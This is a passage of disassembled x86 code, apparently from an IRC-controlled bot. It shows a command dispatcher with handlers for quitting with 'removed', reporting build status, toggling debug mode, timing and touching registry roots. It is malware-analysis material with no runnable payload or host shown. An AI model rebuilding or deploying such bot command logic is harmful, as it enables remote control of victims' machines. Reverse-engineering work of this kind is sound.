		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B11C
		mov	[ebp+var_8], 1
		movsx	eax, [ebp+var_19]
		test	eax, eax
		jz	short loc_40B0E6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0E6:				; CODE XREF: sub_40A9CF+706j
		movsx	eax, [ebp+var_B]
		test	eax, eax
		jz	short loc_40B0FD
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0FD:				; CODE XREF: sub_40A9CF+71Dj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx


loc_40B117:				; CODE XREF: sub_40A9CF+715j
					; sub_40A9CF+72Cj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B11C:				; CODE XREF: sub_40A9CF+6FAj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DBC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B143
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414EB0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B143:				; CODE XREF: sub_40A9CF+760j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DB0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B247
		push	8
		pop	ecx
		mov	esi, offset dword_419D8C
		lea	edi, [ebp+var_A5C]
		rep movsd
		movsb
		mov	esi, offset dword_419D84
		lea	edi, [ebp+var_A38]
		movsd
		movsw
		movsx	eax, [ebp+var_A38]
		mov	ecx, off_41DB20
		movsx	ecx, byte ptr [ecx]
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_A30], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1AD
		mov	[ebp+var_63E4],	offset dword_419D78
		jmp	short loc_40B1B7
; ---------------------------------------------------------------------------


loc_40B1AD:				; CODE XREF: sub_40A9CF+7D0j
		mov	[ebp+var_63E4],	offset dword_419D68


loc_40B1B7:				; CODE XREF: sub_40A9CF+7DCj
		mov	eax, [ebp+var_63E4]
		mov	[ebp+var_A28], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1D8
		mov	[ebp+var_63E8],	offset aThisBuildIsFul ; "This build is	fully functional"
		jmp	short loc_40B1E2
; ---------------------------------------------------------------------------


loc_40B1D8:				; CODE XREF: sub_40A9CF+7FBj
		mov	[ebp+var_63E8],	offset aThisBuildIsBro ; "This build is	broken and will	not funct"...


loc_40B1E2:				; CODE XREF: sub_40A9CF+807j
		mov	eax, [ebp+var_63E8]
		mov	[ebp+var_A2C], eax
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+var_A2C]
		push	[ebp+var_A28]
		mov	eax, dword_41ED10
		and	eax, 0FFFFh
		push	eax
		movsx	eax, byte ptr dword_41DB00
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_A5C]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105AD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B247:				; CODE XREF: sub_40A9CF+787j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419D08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B28E
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_405E45
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B28E:				; CODE XREF: sub_40A9CF+88Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B2C5
		mov	eax, [ebp+arg_18]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4167DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B2C5:				; CODE XREF: sub_40A9CF+8D2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CF0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B2EF
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CE4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B300


loc_40B2EF:				; CODE XREF: sub_40A9CF+909j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D74D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B300:				; CODE XREF: sub_40A9CF+91Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CD4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B335
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403260
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B335:				; CODE XREF: sub_40A9CF+944j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CC8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B36A
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40260D
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B36A:				; CODE XREF: sub_40A9CF+979j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3A5
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406509
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3A5:				; CODE XREF: sub_40A9CF+9AEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CA8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3DA
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41665C
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3DA:				; CODE XREF: sub_40A9CF+9E9j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C98
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B426
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B3FD
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3FD:				; CODE XREF: sub_40A9CF+A27j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B426:				; CODE XREF: sub_40A9CF+A1Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B44C
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_401146
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B44C:				; CODE XREF: sub_40A9CF+A6Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B47D
		push	0
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B47D:				; CODE XREF: sub_40A9CF+A90j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C70
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4AE
		push	1
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4AE:				; CODE XREF: sub_40A9CF+AC1j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C64
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4D5
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_409BF1
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4D5:				; CODE XREF: sub_40A9CF+AF2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C5C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B508
		push	offset dword_41F028
		push	offset dword_419C4C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B508:				; CODE XREF: sub_40A9CF+B19j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C40
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B536
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413FE7
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B536:				; CODE XREF: sub_40A9CF+B4Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C34
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C28
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5A7


loc_40B575:				; CODE XREF: sub_40A9CF+B7Aj
					; sub_40A9CF+B8Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413AB0
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5A7:				; CODE XREF: sub_40A9CF+BA4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5CE
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41417D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5CE:				; CODE XREF: sub_40A9CF+BEBj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B631
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40B61B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_41673F
		pop	ecx
		test	eax, eax
		jnz	short loc_40B601
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B601:				; CODE XREF: sub_40A9CF+C2Bj
		push	104h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_41ED20
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B61B:				; CODE XREF: sub_40A9CF+C1Bj
		push	offset dword_41EC0C
		push	offset dword_41ED20
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40B62C:				; CODE XREF: sub_40A9CF+C4Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B631:				; CODE XREF: sub_40A9CF+C12j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B678
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414600
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B678:				; CODE XREF: sub_40A9CF+C75j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B791
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B69F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B69F:				; CODE XREF: sub_40A9CF+CC9j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40
		pop	ecx
		shl	eax, 1
		push	eax
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_5A68],	eax
		cmp	[ebp+var_5A68],	0
		jnz	short loc_40B6C8
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B6C8:				; CODE XREF: sub_40A9CF+CF2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40
		pop	ecx
		push	eax
		push	[ebp+var_5A68]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40EB4E
		add	esp, 0Ch
		push	[ebp+var_5A68]
		push	offset dword_419BC4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A68]
		call	sub_416B4C
		pop	ecx
		push	1000h
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_4104A3
		pop	ecx
		pop	ecx
		call	sub_416B64
		mov	[ebp+var_A60], eax
		and	[ebp+var_1A64],	0
		jmp	short loc_40B743
; ---------------------------------------------------------------------------


loc_40B736:				; CODE XREF: sub_40A9CF+D9Bj
		mov	eax, [ebp+var_1A64]
		inc	eax
		mov	[ebp+var_1A64],	eax


loc_40B743:				; CODE XREF: sub_40A9CF+D65j
		cmp	[ebp+var_1A64],	186A0h
		jge	short loc_40B76C
		push	1000h
		lea	eax, [ebp+var_5A64]
		push	eax
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		jmp	short loc_40B736
; ---------------------------------------------------------------------------


loc_40B76C:				; CODE XREF: sub_40A9CF+D7Ej
		call	sub_416B64
		sub	eax, [ebp+var_A60]
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B791:				; CODE XREF: sub_40A9CF+CBCj
		mov	eax, [ebp+var_1A8]
		sub	eax, off_419BA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B823
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B7B4
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7B4:				; CODE XREF: sub_40A9CF+DDEj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40
		pop	ecx
		push	eax
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_5A6C],	eax
		cmp	[ebp+var_5A6C],	0
		jnz	short loc_40B7DB
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40A9CF+E05j
		push	[ebp+var_5A6C]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5A6C]
		and	byte ptr [ecx+eax], 0
		push	[ebp+var_5A6C]
		push	offset dword_419B88
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A6C]
		call	sub_416B4C
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B823:				; CODE XREF: sub_40A9CF+DD5j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B78
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B873
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B85C
		push	offset dword_41F028
		push	offset dword_419B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B85C:				; CODE XREF: sub_40A9CF+E70j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41F028
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40B86E:				; CODE XREF: sub_40A9CF+E8Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B873:				; CODE XREF: sub_40A9CF+E67j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B58
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B899
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4097A7
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B899:				; CODE XREF: sub_40A9CF+EB7j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B4C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8C7
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403FE5
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8C7:				; CODE XREF: sub_40A9CF+EDDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B3C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8ED
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4098F3
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8ED:				; CODE XREF: sub_40A9CF+F0Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B91B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406722
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B91B:				; CODE XREF: sub_40A9CF+F31j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B20
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B949
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B949:				; CODE XREF: sub_40A9CF+F5Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B14
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B98A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A1A7
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B98A:				; CODE XREF: sub_40A9CF+F8Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9BF
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A50E
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9BF:				; CODE XREF: sub_40A9CF+FCEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9F5
		push	offset dword_41EC0C
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	36EE80h
		call	dword_41709C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9F5:				; CODE XREF: sub_40A9CF+1003j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ADC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BA79
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA18
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA18:				; CODE XREF: sub_40A9CF+1042j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41DB90
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BA41
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63EC],	eax
		jmp	short loc_40BA4B
; ---------------------------------------------------------------------------


loc_40BA41:				; CODE XREF: sub_40A9CF+1062j
		mov	[ebp+var_63EC],	offset byte_41DF10


loc_40BA4B:				; CODE XREF: sub_40A9CF+1070j
		push	[ebp+var_63EC]
		push	offset dword_41EE28
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41EE28
		push	offset dword_41DB90
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA79:				; CODE XREF: sub_40A9CF+1039j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BADB
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA9C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA9C:				; CODE XREF: sub_40A9CF+10C6j
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BAB3
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63F0],	eax
		jmp	short loc_40BABD
; ---------------------------------------------------------------------------


loc_40BAB3:				; CODE XREF: sub_40A9CF+10D4j
		mov	[ebp+var_63F0],	offset byte_41DF10


loc_40BABD:				; CODE XREF: sub_40A9CF+10E2j
		push	[ebp+var_63F0]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BADB:				; CODE XREF: sub_40A9CF+10BDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB15
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BAFE
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BAFE:				; CODE XREF: sub_40A9CF+1128j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AB0
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB15:				; CODE XREF: sub_40A9CF+111Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB6C
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BB38
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB38:				; CODE XREF: sub_40A9CF+1162j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_5A70],	eax
		cmp	[ebp+var_5A70],	927C0h
		jle	short loc_40BB5B
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB5B:				; CODE XREF: sub_40A9CF+1185j
		push	[ebp+var_5A70]
		call	dword_41709C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB6C:				; CODE XREF: sub_40A9CF+1159j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A9C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBB0
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BB93
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BB98


loc_40BB93:				; CODE XREF: sub_40A9CF+11B9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: sub_40A9CF+11C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D4AB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBB0:				; CODE XREF: sub_40A9CF+11B0j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBF4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BBD7
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BBDC


loc_40BBD7:				; CODE XREF: sub_40A9CF+11FDj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBDC:				; CODE XREF: sub_40A9CF+1206j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBF4:				; CODE XREF: sub_40A9CF+11F4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BC28
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC17
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC17:				; CODE XREF: sub_40A9CF+1241j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC28:				; CODE XREF: sub_40A9CF+1238j
		mov	eax, [ebp+var_1A8]
		sub	eax, off_419A7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCB2
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC84
		cmp	dword_41DF18, 0
		jz	short loc_40BC5B
		mov	[ebp+var_63F4],	offset aOn ; "on"
		jmp	short loc_40BC65
; ---------------------------------------------------------------------------


loc_40BC5B:				; CODE XREF: sub_40A9CF+127Ej
		mov	[ebp+var_63F4],	offset aOff ; "off"


loc_40BC65:				; CODE XREF: sub_40A9CF+128Aj
		push	[ebp+var_63F4]
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC84:				; CODE XREF: sub_40A9CF+1275j
		push	offset aOn	; "on"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40BCA6
		mov	dword_41DF18, 1
		jmp	short loc_40BCAD
; ---------------------------------------------------------------------------


loc_40BCA6:				; CODE XREF: sub_40A9CF+12C9j
		and	dword_41DF18, 0


